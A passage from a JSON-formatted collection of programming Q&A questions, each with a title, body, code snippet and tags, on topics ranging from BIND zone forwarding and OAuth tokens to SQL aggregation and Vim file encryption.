on-rails ssl thin"], "4803353": ["What's a way for a client to automatically
resolve the ip address of a server?", "The project I am working on is a
client/server architecture. In a LAN environment, I want the client's to be able
to automatically determine the server's address. I want to avoid having to
manually configure each client with the ip address of the server. What is the best
way to do this? Some alternatives I have thought about doing are:\n\nThe server
could listen for\nbroadcast packets from the clients. \nThe message from the client
would be\na request for the IP address of the\nserver. The server would respond
with its address.\nThe machine running my project's server could also have a\nbind
server running. The LAN's router could\nbe configured to use it as one of its\nDNS
servers. \nI think I saw that\nthere is a bind library. Does that\nmean I can
build the bind service\ninto my server so that bind doesn't\nhave to be installed
on the server?\n\nAny other ideas? What have you done in the past? What are the
pros/cons of these approaches and others that might be suggested?\nThanks for your
help!\n", "", "networking network-programming client-server bind"], "5973792":
["alias template substitution and deduction failure with gcc", "I believe that I
have found a problem with gcc's alias template handling. Essentially, gcc appears
to fail to correctly substitute the alias's template-id for an alias template
instantiation when referring to the types by reference.\nI was able to whittle a
messy real-world problem down to a minor variation on the non-normative example
provided in the C++ 11 standard section temp.alias (14.5.7/2):\n\nAs noted above,
clang 3.3 (recent pull from svn) and gcc (both 4.7.2 and 4.8.0) agree on the
handling of f1/g1 in conformance with the standard, but differ on the handling of
f2/g2 (to be clear, gcc-4.7.2 and gcc-4.8.0 accept the call to f2() and error on
the call to g2()). The difference between f1/g1 and f2/g2 is of course that the
latter pair uses a reference parameter.\nAll indications, both in this example and
in my real problem, are that gcc is not correctly converting the type of the
instantiation of the alias template (e.g. ) to the aliased type (e.g. ) prior to
trying to deduce the template parameter for the instantiations of f2 and g2.\nMy
question is: first, is indeed gcc incorrect and clang correct here, and second, is
there any straightforward way (other than not using the alias template) to convince
gcc to reject f2 and match g2. (note I am eagerly awaiting gcc-4.8.1 final any day
now to give it a spin).\n", "#include <vector>\n\nusing namespace std;\n\ntemplate
<class T>\nusing Vec = vector<T, allocator<T>>;\n\ntemplate <template <class> class
TT>\nvoid f1(TT<int> v);\n\ntemplate <template <class> class TT>\nvoid f2(TT<int>&
v);\n\ntemplate <template <class, class> class TT>\nvoid g1(TT<int, allocator<int>>
v);\n\ntemplate <template <class, class> class TT>\nvoid g2(TT<int,
allocator<int>>& v);\n\nvoid foo()\n{\n Vec<int> v;\n\n f1(v); // gcc and
clang both correctly yield no matching function error\n g1(v);\n\n f2(v); //
clang yields a no matching function error\n g2(v); // gcc yields a no matching
function error\n}\n", "c++ templates gcc c++11"], "3456881": ["how to send Twitter
OAuth access tokens with ajax request?", "I want to load in a user's home timeline
after authenticating through 'sign it with twitter' using OAuth. I'm using this
library to handle the authentication part https://github.com/jmathai/twitter-async\
nThe authentication part is working fine but I'm unclear about how to send requests
to twitter api as the given authenticated user. I want to make an ajax request for
for the user's home timeline like this:\n\nSo my question is how do I send the
user's access token along with my request and where is the token stored? Or am I
approaching this problem wrong?\n", "// this call produces \"is not allowed by
Access-Control-Allow-Origin\"
error\n$.getJSON(\"http://api.twitter.com/1/statuses/home_timeline.json\",
function(json) {\n console.log(json);\n});\n", "javascript oauth twitter-api
access-token"], "5136229": ["Oauth client initialization in python for tumblr API
using Python-oauth2", "I'm new to Oauth. In the past for twitter applications
written in Python i used python-oauth2 library to initialize client like this:\n\
nThat was easy because twitter provides both CONSUMER and ACCESS keys and secrets.
But now i need to do the same for tumblr. The problem is that tumblr provides only
CONSUMER_KEY, CONSUMER_SECRET and these urls:\n\nUsing this data how can i
initialize client to access tumblr API?\nUPD\njterrace suggested a code i tried to
use before. The problem with it is oauth_callback. If i don't specify any, api
returns error \"No oauth_callback specified\", but if i do specify some url
like \"http://example.com/oauthcb/\" and follow the link
http://www.tumblr.com/oauth/authorize?oauth_token=9ygTF..., then press Allow
button, tumblr doesn't show any PIN code page, it immediately redirects to that
callback url, which is useless since it's desktop application. Why PIN code isn't
shown?\nUPD 2\nTumblr API doesn't support PIN code authorization. Use xAuth instead
-
https://groups.google.com/group/tumblr-api/browse_thread/thread/857285e6a2b4268/150
60607dc306c1d?lnk=gst&q=pin#15060607dc306c1d\n", "consumer = oauth.Consumer(key =
CONSUMER_KEY, secret = CONSUMER_SECRET)\ntoken = oauth.Token(key = ACCESS_KEY,
secret = ACCESS_SECRET)\nclient = oauth.Client(consumer, token)\n", "python oauth
access-token"], "696184": ["NSDictionary - List all", "In a NSMutableDictionary
like this: \n\nHow can all of its elements be converted to the NSString? with the
requirement that names and surnames are arranged in string like this: \"name,
surname, name, surname...\"? \nThis gives a string with all the names but not
surnames: \n\nIs there a way similar to the one above to create a string with all
the values of NSMutableDictionary? \n", "[NSMutableDictionary
dictionaryWithObjectsAndKeys:\n[NSString stringWithString:firstName], @\"NAME\",\
n[NSNumber numberWithFloat:familyName], @\"SURNAME\",\nnil];\n", "objective-c
cocoa"], "3909838": ["Richfaced rendering takes longer time", "Hi we are using
various combination of data table and rich combobox and tab panel. the rendering is
taking too long. is i did the performance tuning suggestions from stackoverflow and
other websites \n\nany help will be appreciated...\n", "<context-param>\n <param-
name>javax.faces.STATE_SAVING_METHOD</param-name>\n <param-value>server</param-
value>\n</context-param>\n\n<context-param>\n <param-
name>org.ajax4jsf.COMPRESS_SCRIPT</param-name>\n <param-value>false</param-value>\
n</context-param>\n\n<context-param>\n <param-
name>org.richfaces.LoadStyleStrategy</param-name>\n <param-value>ALL</param-value>\
n</context-param>\n<context-param>\n
<param-name>org.richfaces.LoadScriptStrategy</param-name>\n
<param-value>ALL</param-value>\n</context-param>\n\n<context-param>\n <param-
name>org.ajax4jsf.xmlparser.ORDER</param-name>\n <param-value>NEKO</param-value>\
n</context-param>\n\n<context-param>\n
<param-name>org.ajax4jsf.xmlparser.NEKO</param-name>\n <param-value>.*\\..*</param-
value>\n</context-param>\n\n<context-param>\n <param-
name>com.sun.faces.responseBufferSize</param-name>\n <param-value>500000</param-
value>\n</context-param>\n<context-param>\n
<param-name>facelets.BUFFER_SIZE</param-name>\n <param-value>500000</param-value>\
n</context-param>\n\n<filter>\n <display-name>RichFaces Filter</display-name>\n
<filter-name>richfaces</filter-name>\n <filter-class>org.ajax4jsf.Filter</filter-
class>\n <init-param>\n <param-name>forceparser</param-name>\n <param-
value>false</param-value>\n </init-param>\n <init-param>\n <param-name>enable-
cache</param-name>\n <param-value>true</param-value>\n </init-param>\n</filter>\
n", "jsf richfaces facelets"], "2473523": ["How to access Columns for
DevExpress.XtraGrid.GridControl in C#", "I try to get the ColumnNames and the
current Vieworder of my GridControl.\nThe docu won't help me an the \".Net
Reflector\"-Tool also won't give me advice.\nThe tip from an other
stackoverflowpost ( How to hide column of devexpress XtraGrid ) also won't help me,
because, i can't access View.Columns\n", "", "c# devexpress gridcontrol"],
"5398405": ["QSettings - how to clear the error?", "After I call sync(), I get
AccessError when I checked the status. Then I fixed the permission through program
and call sync() again. This synced the settings but the error is not cleared. Is
there any way I can forcefully clear it before calling second sync()? Should I
subclass QSettingsPrivate and call setStatus to achieve this? If someone has
achieved it, please share your code.\n-Karthik\n", "", "qt qt4 pyqt"], "5092145":
["We get two different error reports for SharePoint surveys", "The nice response
when a user tries to answer a survey twice is the message: \"You are not allowed to
respond again to this survey.\" But some of us are getting the standard \"crash\"
screen for ASP.NET applications.\nIs this a configuration item or something (we're
on SP2007)?\nThanks in advance...\n", "", "sharepoint survey"], "2732140": ["Custom
Delegate fo UITextView", "I am subclassing UITextView, and i got it working, but i
also want to do some extra work when the UITextView Delegate methods are called.
here is what i have so far.\nThanaaTextView.h\n\nThanaaTextView.m\n\nand here is my
delegate class\nThaanaDelegate.h\n\nThaanaDelegate.m\n\nit compiles and runs
without errors. but the delegate functions are never called. what am I'm missing. \
n", "#import <UIKit/UIKit.h>\n\n#import \"ThaanaDelegate.h\"\n\n\n@interface
ThaanaTextView : UITextView {\n\n @private\n ThaanaDelegate *
_thaanaDelegate;\n\n}\n", "iphone objective-c ios uitextview uitextviewdelegate"],
"4055990": ["Performance overhead of adding a BLOB field to a table", "I am trying
to decide between two possible implementations and am eager to choose the best
one :)\nI need to add an optional BLOB field to a table which currently only has 3
simple fields. It is predicted that the new field will be used in fewer than 10%,
maybe even less than 5% of cases so it will be null for most rows - in fact most of
our customers will probably never have any BLOB data in there.\nA colleague's first
inclination was to add a new table to hold just the BLOBs, with a (nullable)
foreign key in the first table. He predicts this will have performance benefits
when querying the first table.\nMy thoughts were that it is more logical and easier
to store the BLOB directly in the original table. None of our queries do from that
table so my intuition is that storing it directly won't have a significant
performance overhead.\nI'm going to benchmark both choices but I was hoping some
SQL gurus had any advice from experience.\nUsing MSSQL and Oracle.\n", "SELECT *",
"sql-server performance oracle blob"], "4149783": ["Aggregate bitfield values with
binary OR", "I have a table with int values being used as bitfields (where each bit
is a flag).\nNow I would like to aggregate them with a binary operation (in my case
OR) so that:\n\nwould result in the value \nWhat would be a good way to do this
that hopefully doesn't require a lot of and (but if you must, you must)?\nI am
using MS SQL Server 2008 myself, but solutions on other servers are also of
interest.\n", "SELECT 1 AS bitfield\nINTO #TABLE\nUNION ALL SELECT 1 + 2 + 8 + 32\
nUNION ALL SELECT 2 + 128\nUNION ALL SELECT 2 + 32\n\nSELECT AND_AGGR(bitfield) --
Invalid because AND_AGGR doesn't exist\nFROM #TABLE\n\nDROP #TABLE\n", "sql-server
aggregate-functions bitwise bit-fields"], "2437935": ["Installing Thinking Sphinx
on Openshift - Rails", "Openshift by Redhat seems to be a cool PaaS alternative to
Heroku, but does anyone know if it is possible to install sphinx on Openshift so it
can be used in a rails app with Thinking Sphinx? Any commments would be
appreciated!\n", "", "ruby-on-rails search sphinx openshift"], "1987893":
["Reference anonymous object from within a nested anonymous class", "Is it possible
to do something like this (I use initializer blocks to shorten the example)\n\
nWhere I supply the this of the outer object as a parameter to the method call
within the second anonymous class? I cannot use A.this, this gives a compile
error.\nNote: the given code does not compile, it should only illustrate what I'm
trying to achieve.\nEdit: example that lies closer to the actual use case:\n\nAnd
the compile error I get is just that I'm not providing the correct argument to
callback, as I don't know how to reference the SomeBean subclass...\n", "new A()
{{\n new B() {{\n method(outer.this);\n }}\n}}\n", "java this anonymous-
class"], "1478884": ["How to forward a subzone", "I'm using Bind9 as the DNS server
for my office. \nWe have a zone: example.com. which has to be resolved from our DNS
server as authoritative. \nOn the other hand, we have a sub.example.com. zone,
which has to be forwarded to other DNS server.\nBind answers propery when we query
for any record at the example.com. zone. But it fails for queries about
sub.example.com. as it doesn't do the forwarding. It keeps on looking for the
answer locally.\nThis is the named.conf file\n\nThis is the example.com.db file
content:\n\nThis is the output for bdred.example.com query using dig client(which
is ok):\n\nAnd this is the answer for the dig query, which is not working propery:\
n\nPlease, what are we doing wrong?\n", "zone \"sub.example.com\" IN { type
forward;\n forwarders {172.21.238.229;172.21.238.230;};\n forward
only;\n};\n\n\nzone \"example.com\" {\n type master;\n forwarders
{};\n file \"/etc/named/example.com.db\";\n};\n", "dns subdomain forward"],
"1263839": ["Code change reloading in Wicket", "I've started to work with Wicket.
When I make changes to the HTML templates, that becomes visible right away.\nBut
when I make changes to the code, I need to restart Jetty. I'm running in mode (at
least that's what the big fat warning in the log says) and I have installed the as
per this question: Wicket - runtime class reloading\nMy guess is that this behavior
is because I make all changes in the constructor of my pages and Wicket doesn't
create a new page when I reload.\nI've browsed the Wicket examples but there is no
example which shows how to build a Wicket page without adding all components in the
constructor or how to tell Wicket to create a new page for every request or how to
tell Wicket to create a new Page.\n", "DEVELOPMENT", "wicket classloader reload"],
"3947819": ["presenting view controllers using ios5 and storyboard", "Does using
stack up multiple views?\nOn videoViewController I'm loading in several UIWebViews
and each one of them loads in a video. And I have a button on that view which
allows the changing of categories. When the category button is clicked, it shows a
popover view and inside that view are several buttons for different categories.
When one of them buttons are pressed, I'm doing the following to get back to
videoViewController:\n\nWhich works, it dismisses the category popover view and
goes back to videoViewController loading in different videos. But then, changing
the category a few times my app is starting to crash after getting 'did receive
memory warning' messages.\nI have a category 'all' which loads in all the videos
and don't get no such message, but then changing the category several times (each
category of course loads in less videos as it's being filter) I'm getting
warnings.\nSo my real question really is, when I'm changing category and calling
is it just racking up a view every time I change category? So for instance if I
change category 5 times, will I have 5 videoViewController views just sat on top of
each other? If so, what's the best way about going to avoid this?\nI tried instead
to see if that would make a difference, but the viewViewController doesn't reload
and the category popover view doesn't dismiss.\nThis is for an iPad app if that
makes a difference.\nThanks.\n", "[self
presentModalViewController:videoViewController animated:YES];", "objective-c ios
ipad storyboard viewcontroller"], "3441957": ["gdb remote debugging", "I manage to
set up a gdbserver for a qt application and ran it in an 64 bit ubuntu computer
using \n\nand tried to connect it to using remote computer of the same network
using gdb as follows\n\nIt gives me following output and I can not figure out
why. \n\nIt would be a great help if some one can point out what I am doing wrong
here.\n", "gdbserver <ip>:20000 ./sampleQtApp\n", "gdb remote-debugging"],
"2732141": ["Which is best Postfix Log analyzer?", "Which is best Postfix Log
analyzer? We are looking
for good log analyzer for postfix. We need to analyze the following\n\nHow many
mails queued ?\nHow many mails not delivered ?\nWhy mails are not delivered ?\n\
nAnd is it possible to view the subject for the all mail status instead of message
id?\nI mean to review the status of the single mail.\nWe are using Sawmill analyzer
now. But the management is not satisfied with the report from the sawmaill, since
its missing single message status and subject. \n", "", "postfix log-analysis"],
"4445314": ["Can't show NavigationBar on SplitView MonoTouch", "I have a problem
using an navigation bar on my split view. I want the navigationbar showing on the
left view there my TableView is (see picture Click Here).\nThis is my
AppDelegate: \n\nAnd the MasterViewController im trying to use it this way\n\n", "
public override bool FinishedLaunching (UIApplication app, NSDictionary options)\n
{\n // create a new window instance based on the screen size\n window
= new UIWindow (UIScreen.MainScreen.Bounds);\n\n this.masterViewController =
new MasterViewControl();\n this.detailViewController = new
DetailViewController();\n\n this.splitController = new
UISplitViewController();\n this.splitController.ViewControllers = new
UIViewController[] {\n this.masterViewController,\n
this.detailViewController\n };\n\n this.splitController.Delegate =
new SplitControllerDelegate(this.detailViewController);\n\n
window.RootViewController = this.splitController;\n\n // make the window
visible\n window.MakeKeyAndVisible ();\n\n return true;\n }\n",
"c# ios uinavigationcontroller monotouch uisplitviewcontroller"], "652169":
["Process SOAP Headers in PHP", "I am building (in PHP) a SOAP server that is
configured by its WSDL to accept messages that look like this:\n\nI had no problem
getting my SOAPServer to process Heartbeat messages - works fine. I want,
however, to be able to process the contents of the enclosure - so I can validate
the API key and Site ID to make sure they are what they should be.\nI looked here,
(and of course elsewhere) but the responder seems to have missed the point of the
question. Does anyone know how I can access the header element to validate? Do I
add a function for Header the way I would a method in the body? (?)\nThanks very
much in advance.\n", "<SOAP-ENV:Envelope
xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:ns1=\"https://my.awesome.namespace/\">\n <SOAP-ENV:Header>\n
<ns1:Header>\n
<ns1:APIKey>E4C5BDE0-48DC-543C-1CA3-8E55C63F8E60</ns1:APIKey>\n
<ns1:SiteID>111</ns1:SiteID>\n </ns1:Header>\n </SOAP-ENV:Header>\n
<SOAP-ENV:Body>\n <ns1:Heartbeat>\n <ns1:Message>Hello
world.</ns1:Message>\n </ns1:Heartbeat>\n </SOAP-ENV:Body>\n</SOAP-
ENV:Envelope>\n", "php soap soapserver"], "4505176": ["NInject: how to pass
parameters to a transient object created by NInject?", "I'm developing an ASP.NET
MVC 3 project using NInject to create object instances. It builds an object graph
for each Action. It works well in most cases. However, I have a new requirement
that I must pass some parameters (from request) to a few objects (which are
transient) in the object graph.\nHow can I do that? Here is an example:\n\nAs shown
in the code above, the Process property is injected with an instance of created by
NInject. There is a complex object graph behind the scene. And I want to pass the
'value' to one of the objects in the object graph which is an transient instance of
used by the instance. The interface has a method named .\nThe thing I want to do
is, when the IOptions object is created, it's SetValue(int) will be called. Of
course, it should be thread-safe.\nAny idea?\n", "class MyController : Controller\
n{\n [Inject]\n public IProcess Process {get;set;}\n\n public ActionResult
MyAction(int value)\n {\n // how to pass the 'value' to an object
(IOptions) created by NInject\n this.Process.Run();\n }\n}\n",
"ninject"], "1592019": ["Unexpected end of document on SAX parser (input stream
multiple use suspected)", "I'm having Unexpected end of document on the line: \n\nI
have some clues however, I think that my mistake might not be related to SAX
pareser. Here is my simplified code fragment.\n\nThe 3 ArrayList getters are
pointing to the line which is causing the problem. All of them use the same
InputStream. All methods are pretty much the same, and I'm sure they work fine...
just separately. Only first array getter executes successfuly, the second and third
one always fails, doesnt matter what order it is, the first one goes fine.\nI have
suspected that there is something wrong in using same InputStream, I was trying to
close the input after each array getter - no effect. Please have some clues for me.
I'd really appreciate that\n", "Document xmlDoc =
DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(inputStream);\n",
"java android inputstream sax"], "2721523": ["Keep sticky posts out of query unless
they have featured image", "I have a query running which prevents posts without
various criteria from appearing, one of these is the necessity to have a featured
image. Sticky posts however seem to end up in the query regardless. How can I
achieve this?\n\n", " $args = array(\n 'posts_per_page' =>
$articles_no,\n 'meta_key' => '_thumbnail_id',\n
'post__not_in' => $a_empty_titles,\n // remove post formats as per theme
options ( using $hide from above )\n 'tax_query' => array(\n
array(\n 'taxonomy' => 'post_format',\n
'field' => 'slug',\n 'operator' => 'NOT IN',\n
'terms' => $hide\n )\n )\n );\n
$fp_query = new WP_Query( $args ); ?>\n <ul class=\"thumbnails\">\n
<?php \n $thumbnail_span = \"span4\";\n
if( $fp_query->have_posts() ) : while( $fp_query->have_posts() ) : $fp_query-
>the_post(); ?>\n\n ... Typical Formatting Follows ...\n
... Posts without featured images should have been excluded but \"sticky\" posts
seem to persist\n", "theme-development wp-query sticky-post"], "308512":
["SimpleXML fails when called twice in same execution", "I am trying to write an
API for a mobile application. I would like to return the data in XML. I am using
the PHP library built for Wolfram Alpha to query their data, and want my API to act
as a go between for the mobile application and Wolfram Alpha. Whenever I try to
print an XML document after using the Wolfram Alpha PHP library, I get an error
from Chrome stating:\n\nI get nothing in IE, and in Firefox I get:\n\nWith no other
data. I opened up the main file for the Wolfram Alpha PHP library
(WolframAlphaEngine.php) and noticed that it is using SimpleXML to query Wolfram
Alpha in the following code\n\nI get the XML error whenever I use the library. If
I don't use the library, the XML outputs just fine. Is it possible that
the \"simplexml_load_file\" is causing my XML to break for some reason?\nMy code
that doesn't work when using the library that uses simplexml_load_file (this does
work when not using the library):\n\n", "error on line 7 at column 6: XML
declaration allowed only at the start of the document\n", "php simplexml simplexml-
load-file simplexmlelement"], "1446975": ["Pulling Images from rss/atom feeds using
magpie rss", "Im using php and magpie and would like a general way of detecting
images in feed item. I know some websites place images within the enclosure tag,
others like this images[rss] and some simply add it to description. Is there any
one with a general function for detecting if rss item has image and extracting
image url after its been parsed by magpie?\ni think reqular expressions would be
needed to extract from description but im a noob at those. Please help if you can.\
n", "", "image rss extract magpie"], "3962120": ["Debian/Ubuntu - No network
connection", "I have a very weird situation on my Ubuntu 12.04 LTS Server. I can
not access (ping) my gateway, although I believe my config is ok - I attach the
outputs. Any hints where to look?\n(I changed the beginning of the IP to something
different, just obfuscation)\nping 5.9.10.129\n\nuname -r \n3.2.0-29-generic\
nifconfig eth0\n\nip route\n\nroute -n\n\niptables -L\n\nUPD: Eric, this is how
routing information looks on a working server:\n\nAs I understand it, Hetzner tries
to ensure security by this, so I can not take over an IP by changing my MAC. But
this is another server, which has another netmask (255.255.255.240)\nUPD2:
BatchyX,\non the working server:\n\non the broken:\n\n", "PING 5.9.10.129
(5.9.10.129) 56(84) bytes of data.\nFrom 5.9.10.129 (5.9.10.129) icmp_seq=2
Destination Host Unreachable\nFrom 5.9.10.129 (5.9.10.129) icmp_seq=3 Destination
Host Unreachable\nFrom 5.9.10.129 (5.9.10.129) icmp_seq=4 Destination Host
Unreachable\n", "linux networking linux-networking ubuntu-12.04"], "4090695":
["Computer hangs at BIOS screen. Cannot enter setup", "I have an HP Pavilion a6500f
(it's a year out of warranty) and it's hanging on the blue HP BIOS screen. If I
mash F10 while it's starting up, it will say \"Entering Setup...\" but I will see
no results. It will hang there and not do anything. \nIf I actually wait until I
can see the screen and then hit F10, there's no response at all and the computer
will sit at the BIOS menu. \nI've dusted and cleaned it out, reseated the memory,
switched the RAM slots, and reset the CMOS battery using the reset jumper. I'm out
of ideas. I'm pretty sure it's not a hard drive issue, since my problem is at the
BIOS. After this post, I'll disconnect
the hard drive and try to just boot without it. \nAnyone have any other ideas? \
nEdit: \nOkay, so I tried disconnecting the hard drive and now I can get back into
the BIOS. I reconnected it and I'm locked out again. So the problem is my hard
drive.. I guess I should delete this post unless someone has any ideas as to what's
wrong with the drive? \n", "", "hard-drive bios hp cmos"], "4196383": ["Linear
homogeneous recurrence relations with repeated roots; motivation behind looking for
solutions of the form $nx^n$?", "If we have a linear homogeneous recurrence
relation, such as $t_{k+1}=4t_k-4t_{k-1}$, and attempt to find solutions of the
form $t_n=x^n$ for some $x \\in \\mathbb{R} \\setminus \\{0\\}$, we obtain the
characteristic polynomial $(x-2)^2=0$. The characteristic polynomial has repeated
roots, so the standard technique is to look for solutions of the form $t_n=nx^n$
too.\nIt's routine to check that $t_n=n x^n$ is indeed another solution to the
recurrence. But, if I didn't already know that $t_n=n x^n$ is a solution, why
would I think to look at solutions of this form?\n\nQuestion: What motivation is
there to consider solutions such as $t_n=n x^n$ in the case of repeated roots?\n\nI
find it easy to motivate looking for solutions of the form $t_n=x^n$, since e.g.
for the Fibonacci numbers $F(n)$, we can prove exponential upper and lower bounds
on $F(n)$, and it seems reasonable to suspect that similar inequalities hold more
generally.\n", "", "recurrence-relations"], "4228344": ["Tumblr ignores open graph
tags", "I have some social sharing buttons on a site. I've been able to use the
open graph tags to specify exactly what I want shared. They work with every major
social network except Tumblr. Does anyone know why or what I should be doing
instead? Thanks!\n", "", "opengraph tumblr"], "2416958": ["Including short tokens
in a tm DocumentTermMatrix", "EDIT: This was an issue with objects in the workspace
conflicting and causing unexpected behavior.\nI am trying to create a
DocumentTermMatrix from a document using the following code. The document contains
many 1 and 2-character tokens. However, even when the minimum word length is set to
1 character, the resulting matrix contains 699 documents and 0 terms.\n\nCan anyone
shed some light as to why no tokens are created despite there being many 1 and 2
character tokens in the data? Here is one sample data entry:\n\n", "library(tm)\
ndata <- read.csv(\"http://archive.ics.uci.edu/ml/machine-learning-databases/
breast-cancer-wisconsin/breast-cancer-wisconsin.data\",header=FALSE)\ndata <-
data[-1]\n\ntraining_data <- as.vector(apply(as.matrix(data,
mode=\"character\"),1,paste,collapse=\" \"))\ncorpus <-
Corpus(VectorSource(training_data))\n\nmatrix <-
DocumentTermMatrix(corpus,control=list(wordLengths=c(1,Inf)))\n", "r tm"],
"5066475": ["Detect hotmail login to grant access automatically to JAVA web app",
"There's the situation. I have a JAVA web app (CDI with Seam 3 modules) with a
login. If the guest hasn't login in the application, when he/she enters the
application, it must appear the login window, but if the user has a hotmail session
active, i want that the java application detect that login and let the user access
automatically to the application without login. \nWhen a user goes to the index
page of the web app i want to detect if there's a hotmail session active, if
exists, i want to recover the email only and look it in the users table and if it
matches, redirect the user to the homepage, otherwise, if there's no hotmail
session active or the email isn't registered in the users table, just load the
login.\nI don't know if exists a JAVA library to achieve that or something like
that, because i looked for it in the stack overflow questions but only talks about
check the email or login to hotmail from java app but i don't want that, i want to
check an active session in hotmail and get the email of the session.\nRegards.\n",
"", "java session web-applications detect hotmail"], "3465433": ["creating a search
function for a mysql table", "Okay so I have a simple table that has a bunch of
title's and some other information that is used to dynamically create a page for
the title. I would like to implement to be able to provide an html search interface
on this table.\nthese are the simple requirement I am looking to meet: \n\nuser can
search for a title\nanything that matches words entered will be returned simple
enough\n\nSo this is what I am thinking of doing basically:\nhaving the search
execute a post and then checking them for injection before passing them to this sql
statement \n\nnow this is fairly simple. I have read on other question on SO where
people recomend not reinventing the wheel and instead using something like apache
lucene project or other framework. However I only need to add functionality to
search a single column of a single table and a will never be at most 4 different
words. In addition the table will never grow very big (currently small) but will
never grow above a 1000 or so rows. Basically I am wondering if there is any real
benefit to me of adapting to use a framework to accomplish this if I am okay with
user not getting a return of ranked result's or any advanced functionality . Any
insight into this would be greatly appreciated\nalso as a note if a framework can
provide a faster return of results then I would definitely consider it \n", "SELECT
* FROM `table` WHERE title LIKE '%Word1%' AND title LIKE '%Word2%' AND title LIKE
'%Word3%'\n", "php mysql search frameworks"], "3916780": ["Can't start MySql, port
3306 busy", "I'm trying to start MySql from XAMPP (under Windows Vista), but it's
saying that's port 3306 is busy.\nWhat would be the best way with check what
application is using that port and how to free it?\nThanks!\n", "", "mysql windows
xampp"], "615833": ["Php query from url", "I'm sure this has been answered on stack
before but I don't know the proper terms to use to find my desired results.\nI want
to take a value in a url and input it into my php script. So if I goto:\n\nThe
search.php would take the as a value. \n\n",
"http://mydomain/search.php='MYSEARCHQUERY'", "php query"], "2027905": ["MVC form
doesn't validate", "I am very new to MVC 3.\nI am using custom helpers for the
controls but when i submit the form, the control is not being validated.\nCan some
one tell me if i am missing something? Following is the code snippet.\n\nThe view
has the following code \n\nthe source code of rendered by the page is : \n\n",
"public static MvcHtmlString TextBox(string fieldName) \n{ \n TagBuilder
tagBuilder = new TagBuilder(\"Input\");\n\n
tagBuilder.MergeAttribute(\"type\", \"Text\"); \n
tagBuilder.AddCssClass(\"text-box\"); \n tagbuilder.MergeAttribute(\"data-
val\",\"true\");\n tagbuilder.MergeAttribute(\"data-val-regex-
pattern\",\"true\"); \n tagbuilder.MergeAttribute(\"data-val\",\"true\");\
n\n TagBuilder validator = new TagBuilder(\"span\");\n\n
validator.MergeAttribute(\"data-valmsg-for\", fieldName); \n
validator.MergeAttribute(\"data-valmsg-replace\", \"true\"); \n
validator.MergeAttribute(\"class\", \"field-validation-valid\"); \n\n
return new MvcHtmlString(string.Concat(tagBuilder.ToString(),
validator.ToString())); \n} \n", "asp.net-mvc-3 validator html-helper"],
"2257971": ["Parsing XML/XHTML in Actionscript", "Is there anything similar to
getElementById in actionscript? \nI'm trying to make a prototype of a flash page
wich gets it's data from a xhtml file. I want to have both an accessible html
version (for search engines, textreaders and people without flash) and a flash
version (because the customer insists to use flash even though a html-css-ajax
solution would do quite nicely). \nWhat I need is a simple way of getting the text
or attributes from the html with a certain id, like etc. I'm guessing a few ways
it might be possible:\n\nSomehow use an ExternalInterface.call and do the DOM
trickery in JavaScript (wich is probably what I will do, because I'm very familiar
with JS and a complete newbie with flash/actionscript, unless you have a better
solution)\nLoad the xhtml with the Actionscript XML class, and manually traverse
the XML looking for the correct id attribute (but this is probably very slow)\nUse
XPath with the XML class in actionscript. (I'd like some hints on how to do this,
if this is the reccomended way)\nThere is actually an Actionscript equivalent to
getElementById to use with the XML?\nAllthough my employer hope we don't have to do
this: I could rewrite the server side code to output the relevant texts and image
urls in a flash-friendly format.\n\nWhat is the most effective, easiest to
implement, and robust-crossbrowser way of doing this? Any totally different ideas?\
nPlease post any ideas even if you think the question have been answered, I'd like
to explore all the different possibilities, and allso what disadvantages the
proposed solutions have.\n", "<h1 id=\"flashdataTitle\">This is the title</h1>",
"xml flash parsing xhtml actionscript-2"], "3110171": ["Vim no longer prompts for
encryption key when reading encrypted file; why not, and how can I get this
restored?", "I recently began using Vim to encrypt text files (by using the
command and entering an encryption key at the prompt). As documented, Vim then
prompts for that key when I reopen the file and decrypts the text.\nToday, I opened
one of those encrypted files, but to my surprise Vim did not prompt me for any key
and simply displayed encrypted text. I of course reopened the file several more
times, but always with the same result. (I am using Vim 7.3 on OS X. I found no
difference in behavior in MacVim vs. the non-GUI version.)\nI have three vague
hunches as to what could be causing this problem:\n\nI had renamed the file in
question\u2014possibly
more than once\u2014after it was encrypted. Unfortunately, I can't actually
remember if I had ever decrypted the file successfully since the latest rename.\
nThis file is stored in my Dropbox folder, so if the file was changed somehow on
the Dropbox server, that version presumably would have overwritten my (previously
good) local version. (However, when I try to recover an old version of the file via
Dropbox, I only find a single version of the file, and I can't decrypt that
either.)\nCombining the above two: I actually renamed the file so that it has a
extension, not thinking this would matter locally, but I see that Dropbox is
actually identifying this file (in the column) as . Perhaps Dropbox handled that
file differently in some way if it recognized it as an encrypted file? (However,
when I store an unencrypted text file with extension , I don't experience any
trouble reading it.)\n\nI tried to use openssl to recover the file, specifically as
. But this reports (or slight variations).\n(Let me preemptively make clear that I
am 99% sure this isn't a case of me using the wrong encryption key, as I had
successfully decrypted the file numerous times in the past, and now Vim isn't even
prompting for a key. I've also double-checked that I'm using the right key with
openssl.)\nI used Vim's default encryption, which I understand to be blowfish in
7.3 (although I tried a few other cipher commands with openssl but wasn't sure
which, if any, corresponded to pkzip, which I understand to be Vim's older
encryption algorithm.)\nI found nothing of relevance in except to try to use to
ensure Vim prompts me for a key for encrypted files, but it still doesn't. This was
the only solution suggested in somewhat similar questions I found elsewhere (e.g.,
this question, although typing the key sans prompt in my case is simply interpreted
as commands starting in normal mode).\nFinally, it may be of some use to know that
the beginning of the file in question (before all the encryption garbage)
is \"Salted\"; if Vim has salted the encryption key, could the salt somehow go
missing (in, ahem, layman's terms)?\nJust to be clear, my primary questions are:\n\
nWhat is causing Vim to no longer see the file as encrypted and in need of a
decryption key? Even if I can't recover the text, I'd like to be able to avoid this
in the future if possible. For example, is synching an encrypted file with Dropbox
a big no-no?\nIs there anything else I might try to recover the text? Even brute-
forcing seems out of the question since it's not a missing-key issue, but perhaps
I'm misusing openssl or ignoring another Vim solution.\n\nThanks!\n\u2014\u2014\
u2014\nEDIT: I have noticed something else that may be relevant. I tried to
replicate this problem, and in the course of that I've noticed that with a \"good\"
